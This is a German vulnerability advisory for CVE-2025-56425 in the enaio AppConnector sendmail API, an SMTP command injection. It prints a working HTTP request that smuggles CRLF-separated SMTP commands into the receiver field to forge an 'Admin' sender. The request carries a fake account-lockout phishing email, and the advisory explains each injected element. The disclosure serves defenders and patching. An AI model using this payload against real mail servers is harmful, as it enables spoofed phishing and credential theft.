Übersicht
Betroffenes Produkt: enaio® component AppConnector – Version 10.10.0.183 und früher von enaio® 10.10, Version 11.0.0.183 und früher von enaio® 11.0, Version 11.10.0.183 und früher von enaio® 11.10
CVSS-Bewertung (v3.1): 7.7 (Hoch)
Zugewiesene CVE: CVE-2025-56425
Empfehlung: Update zu Version 10.10.0.184, 11.0.0.184 bzw. 11.10.0.184 oder höher
Credit: Simon Holl von der MindBytes GmbH
Denkbare Angriffsszenarien sind beispielsweise das Manipulieren des E-Mail-Absenders und des E-Mail-Inhalts. Phishing-Angriffe sind glaubhafter.
Technische Details
ttDer API-Endpunkt /osrest/api/organization/sendmail erlaubt das Versenden einer E-Mail. Dabei kann der eingeloggte Benutzer verschiedene Parameter selbst bestimmen. Der Webserver filtert die Benutzereingaben vor der Kommunikation mit dem Mailserver nicht richtig. So lassen sich zusätzliche SMTP-Befehle einschleusen.
Nachfolgend ist die HTTP-Anfrage zu sehen, durch die eine gefälschte E-Mail über den API-Endpunkt gesendet wird. Dabei kann der Absender, Empfänger und Inhalt beliebige selbst bestimmt werden.
POST /osrest/api/organization/sendmail HTTP/1.1Host: enaio.int.example.comContent-Type: application/jsonContent-Length: XXX{ "receiver": "receiver@int.example.com;receiver@ext.example.com>\r\nDATA\r\nFrom: \"Admin\" <admin@int.example.com>\r\nTo:<receiver@ext.example.com>\r\nSubject:Pentest\r\nContent-Type: text/html\r\n<html><style>\r\n", "subject": "Pentest", "text": "</style></style></style><body>Hallo!<br><br>Dein Account wurde aus Sicherheitsgruenden automatisch gesperrt! Bitte nutze den folgenden Link, um deinen Account zu aktivieren und ein neues Passwort zu vergeben: <a href='https://enaio.mind-bytes.de'>enaio.mind-bytes.de</a>.<br><br><b>Viele Gruesse</b><br>enaio Team</body></html>"} Der Webserver verarbeitet die HTTP-Anfrage wie folgt:
- Das Attribut receiver bestimmt sowohl den Absender als auch den Empfänger.
- Die erste E-Mail-Adresse receiver@int.example.com ist sowohl der Absender als auch der Empfänger.
- Die weitere, durch Semikolon getrennte E-Mail-Adresse receiver@ext.example.com und die nachfolgenden Zeichen sind der Empfänger. Die Zeichen werden ungefiltert in der SMTP-Kommunikation genutzt.
- Die eingefügten Zeichen und insbesondere die Zeilenumbrüche (\r\n) haben im SMTP-Protokoll eine besondere Bedeutung:
- DATA signalisiert die Eingabe der eigentlichen Nachricht
- From, To und Subject legen fest, welcher Absender, Empfänger und Betreff im E-Mail-Client angezeigt werden sollen. Das SMTP-Protokoll erzwingt an dieser Stelle nicht die gleichen E-Mail-Adressen wie die zuvor in Punkt 2 und 3 angegebenen Adressen.
- Über Content-Type wird angegeben, dass die E-Mail HTML-Inhalt haben soll.
- Mit <html><style> beginnt der HTML-Inhalt und insbesondere ein style-Tag, wodurch die nächsten vom Server gesendeten Zeichen in der E-Mail selbst als (ungültige) Style-Definition interpretiert und dadurch unsichtbar werden.
- Das Attibut text definiert den eigentlichen Inhalt der E-Mail. Da das receiver-Attribut in der SMTP-Kommunikation wiederholt genutzt wird, muss das style-Tag im E-Mail-Inhalt mehrfach geschlossen werden. Erst danach kann dann der sichtbare HTML-Inhalt definiert werden.
Die nachfolgende Abbildung zeigt die empfangene E-Mail nachdem wir die obige HTTP-Anfrage mit den Sitzungsinformationen eines eingeloggten Benutzers gesendet haben.
